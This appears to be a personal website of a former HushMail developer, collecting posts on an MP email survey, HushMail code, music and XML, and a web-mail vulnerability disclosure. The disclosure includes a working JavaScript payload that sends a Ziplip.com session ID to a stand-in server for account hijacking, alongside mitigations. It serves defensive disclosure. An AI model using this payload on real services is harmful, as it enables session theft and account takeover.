MP Survey

Have you ever wondered just how Internet-savy your local Member of Parliament (MP) really is? Or, Internet aside, just how ‘in touch’ they are with the constituents they represent? After unsuccessfully attempting to bring an important issue to the attention of my local MP and waiting four months without a response, I decided to find out. This article presents the results of an informal experiment designed to reveal the responsiveness Canadians can expect from their own MP.

The Experiment

The idea was simple: send each MP a short, simple email, requesting a response to a few simple questions, and measure the response time. To provide a motive for response, the letter appeared to come from a constituent in the MP’s riding who had recently started using the Internet:

Hi there,

I’m a constituent in your riding, and I noticed your email address on the government web site (I’m fairly new to this web and email thing, so this is all still novel to me). Since I’ve never actually talked to you before, I was wondering if this is an easier way to bring issues to your attention? Do you read and reply to these emails, or do you have an assistant that takes care of that for you (as you probably get a lot of email)?

Just wondering, as I dive into this whole new world of instant communication, thanks for taking the time to respond…

Sincerely,

Brendon

Not to be too deceitful, the message’s return address contained my web site address; any MP office with enough interest and web know-how would be able to track me down and realize I was not, in fact, a constituent.

I sent the message out May 23rd, 2001 at 10:20 PDT to all of the MPs listed on the government’s Parlimentary web site, using blind carbon copy to ensure each recipient wouldn’t realize the message had been sent to all MPs. It should be noted that although there are 301 MPs, several MPs did not have an email address listed at the time: Mr. Pat O’Brien, Ms. Christiane Gagnon, The Hon. Herb Dhaliwal, The Hon. Charles Caccia, and Mr. Stéphane Bergeron. In some cases, email addresses have been added recently.

Survey Results

After just over a month, responses to the original message trickled off, leading me to assume that all MP offices likely to respond had responded. Disappointingly, only roughly a third of the Parliament responded either directly or via administrative aides; in total, only 128 of the 296 (301 MPs minus 5 that didn’t have an email address listed on the Parliament web site) MP Offices contacted in the original email responded. The following results were noted:

  • Only 43.24% (128 of 296) of those contacted responded.
  • Of those who responded, only 21.88% (28 out of 128) were the MPs themselves.
  • The average age of the MPs who responded themselves was 50.64 years.
  • The average age of MP whose offices responded was 51.73 years.
  • The average age of all respondants was 51.49 years.
  • The average response time from MPs themselves was 7.49 days.
  • The average response time from MP offices was 2.23 days.
  • The average response time from all respondants was 3.38 days.
  • The NDP had the best percentage response both from MP offices, and the MPs themselves (see the charts).

The average age of MPs currently in office is 51.69 (see this Parliamentary age statistics page for more information); from the results it appears that the average age of MPs who responded themselves is slightly below the average, which is expected. In addition, the overall average age of MPs who responded, either themselves or via their offices, is also below the average age of the all MPs currently holding a seat.

Limitations of the Experiment

While the response rates are disappointing, there are several possible reasons that could explain the low response rates:

  • The original email was sent ‘bulk’, using Blind-Carbon-Copy; if MP offices use spam filtering software, it’s unlikely that they ever saw the email.
  • The original email was in English; MP offices for predominantly French regions may not have read the email, or found the claim of constituency credible, and thus ignored the letter.
  • Priority; the email itself didn’t raise any real issue requiring address; some offices (as is apparent from some of the replies) receive a hundred or so emails a day, plus phone calls, plus faxes. Sheer volume may have prevented them from replying to such a frivolous email request.

An Interesting Side Note

Two days after sending the email request, I was contacted by the National Security Investigations Section of the RCMP; apparently, an unidentified MPs office became suspicious of the email and its contents. Constable Bill Jost, and Constable Mitch Rasche questioned me on my reasons for sending the email; I answered honestly, stating that the email was sent as a part of an experiment to research how ‘wired’ our MP offices were.

One question, “Why did you send your resume along with the email?”, disturbed me greatly. One of the MP offices that responded noted that it had found my web site (in the email headers); what’s disturbing is that either the RCMP, or the MP Office itself, couldn’t tell the difference between the contents of an email, and a separate web site. Even funnier was a comment from the RCMP noting they had difficulty finding my apartment; I informed them that if they had the original email, then they had my web site address, which has a map to my apartment.

At one point during the interview, Constable Rausche blurted out ‘Was it Gagliano’s office?’ when I responded that one of the respondant office had obviously figured out that my email was not entirely accurate. This leads me to believe that it was Alfonso Gagliano’s office which had instigated the investigation by the RCMP. All in all, the RCMP were satisfied with my responses; I don’t believe they took the case very seriously.

Conclusions

Overall the experiment demonstrated that the average Canadian cannot contact their MP office and expect a response in a reasonable length of time, if at all. My point here is not to ridicule the MPs themselves, or their offices, but rather point out the need for a more effective and interactive form of government. Our current form of government was built on the assumption that the general public did not have access to information on current events, or mechanisms to have their opinion communicated efficiently; with modern telecommunications technology, this is no longer the case.

That is not to say that we don’t still require MPs; we still need people to guide the population (who may not necessarily be aware of the impact of proposed legislation). However, we do need a way to allow people to interact with their government more directly; currently, the average citizen can only directly affect the government at election time. I do not consider the press to be a direct method for interacting with government, as it is inevitably restricted by corporate interests, and availability of airtime, newsprint, or bandwidth.

As a citizen, I should be able to interact with my MP during question period, vote continuously on proposed legislation, and discuss the issues in a national forum. Currently, MPs aren’t even allowed laptops in the House, and the Government of Canada web site hosts no independent forum on topics of the day. It’s time we used our technology to make government reflect the true wishes of the people.

Scenes From A Bridge

Every day for the past month I’ve been walking across the Cambie Bridge to catch my ride to work (during the wonderful BC Transit strike), and every day I’ve participated in the weirdest part of one person’s daily ritual. Each day, there’s a man I see crossing the bridge in the opposite direction; usually I only recognize him just as he’s about to pass me, and by that time it’s too late. You see, this man’s ritual is to bark at me.

Or oink.

Or cluck.

Or say “Ugh!” like James Brown.

It’s weird. It’s not like he’s abnormal in any other way. He’s well dressed, carries a backpack like 80% of the Vancouver population, and carries himself with the air of someone on their way to work. Why does he do this? I have no idea. Maybe he’s just trying to exorcise that little crazy streak in himself before he gets to the buttoned-down work environment. Or may it’s some kind of social experiment. I wonder what he expects me to do, or wonders what I think of him for carrying out this bizarre ritual every morning. Every morning I leave my apartment with the intention of confronting him, but by the time I recognize him it’s too late.

Perhaps the man’s purpose is to spread this ritual as some sort of counter-culture meme; am I failing to uphold my social obligations by choosing not to cluck at the next person I pass on the bridge? Or is this some weird joke? Well, there’s nothing that says I have to take this lying down.

It’s time I clucked back.

HushMail Test Environment

HushMail is the first product from Hush Communications, which holds the patent on a unique technology for managing private keys as a part of a corporation’s Public Key Infrastructure (PKI). The patent (US Patent #6,154,543) titled “Public Key Cryptosystem with Roaming User Capability” details technology that enables a users to store their private key on a central server, without the central server having access to the private key; this is achieved by symmetrically encrypting the private key before sending it to the central key server. HushMail is the first proof-of-concept for this technology, providing end-to-end encrypted mail and digital signatures from any Java-enabled web browser.

The HushMail Secure Email Applet - Click to enlarge

Starting in October 1999, I worked on HushMail as the senior developer, reworking the initial alpha prototype client in order to enable maintainability and extensibility. When I started the client software consisted of only 8 classes to provide all of the encryption, communication, and user interface functionality (see Version 1.04 of the code); by the time I’d finished, the alpha client code had been refactored into 130 classes abstracting all areas of the client’s functionality. The effectiveness of this solution proved itself in short order when I easily (in less than two weeks) augmented the communication protocol and message processing to enable the product to work through proxies, and added more complex message processing capabilities to support digital signatures. In addition, the code was completely localized and internationalized using Java’s built-in Unicode and resource support, in preparation for providing HushMail support for non-English speaking locales.

In the interest of encouraging peer review, all of the code I developed for the client portion of the HushMail software was released to the public on Hush.ai. I was responsible for all versions of the HushMail client from version 1.11 through 1.301 inclusive; this included extensively commenting the source code, and documenting the solution in preparation for the growth of the development team. The development team grew on our arrival in Dublin from three developers to more than a dozen; during this time, my role expanded to including the Development Team Leader and Senior Architect roles. When I left HushMail in October 2000, we were already investigating a new version of the client software built using HTML as the user interface, and implementing OpenPGP as the new HushMail message format. More recently, Phil Zimmermann, of PGP fame, joined Hush as the Chief Cryptographer to help spearhead further adoption of the OpenPGP standard.

This code is presented for peer review, and education; while the client code is freely available for inspection, the server code is not. For those developers interested in validating the operation of the HushMail applets, I’m providing a document detailing how to set up a client test environment using the live HushMail servers, and the files necessary to configure the applets to run in a Java appletviewer:

Music & XML

At the moment, the recording industry is focusing all of its efforts on controlling the future of digital music and its distribution. In focusing on suppressing music piracy, I believe the music industry has overlooked another, equally important, area of the music industry: electronic music by-products. I define ‘music by-products’ as pieces of information which create value from an original piece of music by transforming the original work into another usable representation. “Electronic music by-products” refer to music by-products which can be represented in a format suitable for electronic transmission or storage.

For example, despite the popularity of the “Titanic” soundtrack song “My Heart Will Go On”, not all of Celine Dion’s royalty capital for the song was derived from CD, video, or tape sales. An additional portion of her royalties came from other music-related sources, including: sheet music (in a variety of forms, from full conductor scores to amateur pianist sheet music), MIDI-based backing tracks for karaoke, and elevator “musak”. The nature of these music by-products is intriguing: all of these by-products contain essentially the same information. This similarity could prove useful in allowing record companies to tailor content to the needs of a specific consumer, and market its music by-products to a “market of one”.

Fortunately, such a format and mechanism has already been created: XML, and XSL. XML (eXtensible Markup Language) provides a standard for defining a data markup language similar in form to HTML, and its more complex parent, SGML. Unlike HTML, XML documents do not specify the representation details for data. Representation details for an XML document are delegated to another standard: XSL (eXtensible Stylesheet Language). An XSL document defines a representation for each element that an XML document contains. By using different XSL documents, the same XML document can be transformed into many different representations.

By taking advantage of the transformational capabilities of XML/XSL, recording companies could potentially cater to the specific needs of an individual customer. Consider the possibilities:

  1. Extract the melody of the lyrics, convert it to a standard musical staff output, along with the lyrics. This form of output would be especially useful to vocalists, or possibly vocal jazz choirs.
  2. Convert all note, instrument, tempo, and time signature information into a standard MIDI format. This form of output would be useful for backing solo vocalists, or providing elevator music.
  3. Selectively convert note and chord information into a fake-book style music sheet. This form is useful to both jazz and other musicians as a short form of describing ‘standard’ songs. Additional processing could extract melody lines, or riffs for more detailed annotation in the fake sheet.
  4. Generate a MIDI-based karaoke binary file, complete with lyrics and synchronization information required to create the ‘bouncing ball’ used by the vocalist.
  5. Extract drum note information, producing a binary format suitable for download into a drum machine.
  6. Allow transformation of the arrangement to a specific orchestral configuraton. For example, transforming a orchestral piece into sheet music suitable for a high school band (violin parts become clarinet parts, etc.)
  7. Create “easy piano” or “easy guitar” arrangements, complete with piano/chord fingerings above the lyrics or complete chord charts at the end.
  8. The ability to transform a song’s style, converting a popular hit into a reggae version, or a heavy-metal song into a jazz standard.

Consider some of the essential elements common to all of these by-products: tempo, time signature, note information, title, artist. In addition, consider some differences: presence or absence of lyrics, key of an instrment responsible for particular note information. The total of this information provides all of the data required to render the song’s content in a particular format; all we need is a format for containing this data, and a mechanism to transform the data into a particular representation.

Already, amateur musicians have tools at their disposal to create transformable electronic music by-products. For example, two amateur guitarists at Sun created a utility called ChordPro, which converts text files in a specific format into a standard lead-sheet. An on-line catalog of these text files, OLGA (On Line Guitar Archive), recently had to close public access to its archives, due to a legal dispute with the Harry Fox Agency over royalties.

The demand for music by-products is currently outsourced to industry-specific production houses. With XML, the opportunity exists for recording companies to take over this part of the music consumer market, without incurring large production costs. Consider the possibility: a web-based service where customers can select the type of representation for a popular song and have it delivered instantly.

Back In Canada

I’ve finally gotten the time to settle back into normal life after our return from Ireland in October. I’m still not sure if I’m comfortable with the life of a regular working stiff. Infowave‘s a neat company and all, but it’s weird not being in charge of a development team anymore.

Oh well.

On the plus side, I’ve finally redesigned the whole web site to include all the extraneous pieces of information I’ve had sitting around on my hard drive. In the next month or so, I’ll be adding to the photos section, so that my family and friends can see some of the adventures Ashley and I have had over the past year. In addition, I hope to start writing down a lot more of the ideas I’ve been having lately, for no other purpose than to capture them in some permanent form (or at least as permanent as the Web permits).

In other interesting news, Hush hired Phil Zimmerman, the creator of PGP, as their Chief Cryptographer. Who knows, maybe my stock will be worth something after all! However, it hasn’t all been good news; after Kevin and I returned to Vancouver, Erwin decided to leave Hush. More recently, Jim and Aaron also left Hush, meaning the group of ‘original’ Hush people has dwindled considerably. It gives you real appreciation for how difficult it really is to stay with a start-up through all the trials and sacrifices, all for the mere chance that it’ll all pay off big in the end.

Web-Based Email Vulnerability

This document introduces a security attack on Web-based email clients using the browser’s JavaScript engine to compromise the user’s security and allow a third party to independently access the user’s account. The exploit takes advantage of those web-based email clients that use session id-based authentication and fail to properly remove or isolate JavaScript code that may appear in the headers or body of an email message. Solutions are presented to prevent script attacks by parsing out JavaScript code elements, or by selectively replacing characters to deactivate the script elements. This document also outlines the vulnerability of other similar services and platforms to script-based attacks via user generated content.

Origin of this Document

The vulnerability discussed in this document was discovered during the prototyping stage of the next generation HushMail product from Hush Communications. Research into possible security attacks on web-based email systems employing HTML rendering, revealed this vulnerability; in particular, our assessment of competing products, specifically Ziplip.com, revealed the existence of this significant threat to personal privacy.

Intended Audience

This document is intended for developers working on web-based system which may enable users to view content generated by arbitrary individuals, via such mechanisms as email or bulletin-board style posting services. Developers should use this document to evaluate their solutions in order to ascertain whether their proposed solution is at risk from this attack methodology.

Relation to Other Systems

Although this document specifically discussed web-based email systems, the attack technique described here is potentially applicable to any web-based service which allow users to view content created by other arbitrary users.

Detailed Description

Requirements

This attack is effective on web-based email clients that directly display the contents of email messages without altering the message text. The email client must also hold onto the user’s session ID information in either a client-side cookie, or in the URL of hyperlinks used to activate functionality. This session ID alone must be the only element that is used to prove the client’s state of authentication.

The Attack

Most web-based email clients require a login/authentication process; in most cases, HTTP authentication alone is not suitable for most applications, as the HTTP protocol does not support the ability to ‘log out’ or ‘de-authenticate’ the user. To provide ‘log out’ capabilities, web-based email clients usually implement their own authentication mechanism, embedding session information into the user’s web browser either directly (using cookies), or indirectly (by URL-encoding the session ID into links within the web page) as shown in Figure 1. This session ID is usually mirrored by a session store on the server side, which keeps track of the users currently authenticated with the system, and any other required session state information. Essentially, the existence of a session store object for a given session ID is verification that the user associated with that session is authenticated with the server.

 Session ID-Based Authentication for Web Applications

If a third party gains access to the session ID before the user has logged out of the web site, that party can use the session ID to gain access to the user’s information and request services as the user. Possible scenarios allowing a third party to gain access to this session ID: the user temporarily leaves their computer alone, or forgets to log out while on using shared computer.

On web-based email clients, an additional scenario to gain session ID access is possible when the email client allows arbitrary JavaScript to be executed:

  1. The user opens an email message containing a piece of JavaScript code, most likely included as an event handler on a hyperlink.
  2. The user triggers the hyperlink, activating the piece of JavaScript.
  3. The JavaScript code steals the session ID, and opens a new browser window to a web server script, to whom it sends the session ID; from the user’s point of view, this window seems to be a result of clicking the link.
  4. The web server script receives the session ID, and replies with bogus content, or redirects the client’s web browser to a site corresponding to the original bogus hyperlink.

Now the third party’s web server has the session ID for the user, which it can use to harvest all information from the user’s account. However, the server can only harvest the user’s account while the session ID remains valid; therefore, it is in the interest of the attacker to provide some believable error or content in Step 4 above.

Implications

An attacker can gain access to the user’s email account by sending an email message containing JavaScript, most likely in the form of a hyperlink, which the user activates. This opens the possibility for a Melissa-like virus to affect users of the web-based email client; although no damage is possible to the user’s computer itself, the virus could delete the user’s email, and masquerade as the user in order to send itself to other users of the system. Personal data stored in the email account, such as the user’s real name, address, phone number, occupation, and other personal details could be easily compromised, providing the ammunition for direct marketing campaigns. The perpetrators of such a virus would be easily uncovered, but not before they inflicted immense damage.

Solutions

Web-based email clients need to ensure that the HTML <SCRIPT> element is eliminated from any text displayed directly in the web browser window; likely places to place this element include the mail headers (To, From, Subject) that are usually displayed directly, or the message body itself. In addition, the message’s content needs to be parsed to eliminate any event handlers that may be defined within HTML elements; for example, the onClick, onMouseOut, onMouseOver event handlers in the HREF element must be eliminated.

Rather than try to parse out all of these JavaScript event handlers, it is much easier to eliminate any JavaScript functionality; the key here is to make the web browser ignore the JavaScript elements. By replace all instances of the ‘< ' and '>‘ characters in any user-submitted content with the HTML constructs ‘&lt;’ and ‘&gt;’, respectively, the resulting text will not be interpreted by the web browser. An unfortunate side effect of this technique is that all HTML formatting of the original content is also lost; the resulting text will simply be a raw text representation of the original HTML, including all of the HTML tag text.

All sites using session ID based authentication mechanisms should also add an additional security measure to prevent against session hijacking; this will prevent against the possibility of session ID hijacking through means other than the JavaScript attack. A simple solution is to use both the session id and IP address of the client machine when the user logged in to validate the session. With this solution in place, the only mechanism to use the user’s session is to use the user’s machine itself if the user steps away temporarily.

Case Study: Ziplip.com

Ziplip.com prevents against <SCRIPT> tags in the body of the message, parsing them out at the server before displaying them within the web browser window. In addition, any HTML elements appearing in headers, such as the Subject, are forced to display inside the header’s link by changing the ‘< ' and '>‘ characters to the HTML escape sequences ‘&lt;’ and ‘&gt;’ respectively.

However, Ziplip fails to parse out event handler attributes in HTML tags, specifically in the hyperlink tag. Using the attack described above, an attacker can send the following message to a victim’s Ziplip.com email account:

Hey buddy,

You have to see this, it’s cool: <a onmouseover="window.open('http://someserver.com/cgi-bin/stealsession.cgi' + window.top.frames['content'].location.search.substring(0, 47))" href="www.wired.com" target="_blank">www.wired.com</a>

Brendon

When the victim’s mouse moves over the link, the onMouseOver event handler is triggered, the session ID is extracted from one of the links on the page, and a new browser window is opened. The new window sends the session ID to a script on the someserver.com server, which can harvest the user’s email and address book, or perform any other activity provided by the Ziplip.com system. The attacker’s script will return an HTTP redirect to www.wired.com, in order to avoid arousing the user’s suspicion.

Attacks on Similar Systems

By no means is this attack restricted to web-based email clients, or JavaScript for that matter; this attack could be launched on any number of mailing lists, auction sites, or online bookstores with user-submitted recommendations. The base requirements for a similar type of attack are:

  1. The service that uses a session ID based authentication mechanism, and that session ID alone is the only credential used to verify the user’s authenticating state, once the user has logged into the service.
  2. The service allows a potential attacker to submit arbitrary content that will be presented to the user, usually presented as part of the service’s content itself.
  3. The presentation layer provides a script language capable of launching network connections to arbitrary servers either when the content is loaded, or on user input.

Besides the HTML/JavaScript platform, other potentially vulnerable services include those based on the WML/WMLScript platform.

Summary

The simplicity of this attack methodology highlights its hazardous nature; given the recent rash of macro-based email viruses, we can expect to see this attack used quite effectively to breach personal privacy. The only solution is to remove the active scripting elements through vigilant design of code responsible for presenting user-submitted content.

Java Applet Signing Guide

During the creation of the HushMail applet, I tackled the problem of creating signed Java applets; a signed applet was required in order to allow the HushMail applet to request permission from the user to perform activities normally restricted by the Java VM’s security sandbox. Although the process of creating signed applets is fairly straightforward, there are some tricks to getting the whole system working. In order to enable others to overcome the hurdles of producing signed applets, I’ve created a step-by-step tutorial to guide developers through the process of installing the tools and creating signed archives:

Developers should be warned that signing alone is not enough to enable their Java applets to access resources normally restricted by the Java sandbox. Although signing provides proof of the integrity of the applet and validation of the author’s identity through trust-hierarchies, developers must also make use of the browser-dependent APIs to request permission from the user to perform restricted activities. I have already created a browser-independent set of classes which allow applets to request permissions in a browser-independent manner for Internet Explorer, Netscape, and the Java 1.2 Security Model; however, this code is not yet available as I’m still cleaning up and documenting the code. This browser-independent framework is based primarily on the framework described by Greg Frascadore in his May 1999 article in Java-Pro magazine.

(Note: for some reason, Devx.com doesn’t seem to allow deep-linking; to find the article, go to www.devx.com, search for “Greg Frascadore”, and choose his “Write Once, Trust Anywhere” article.)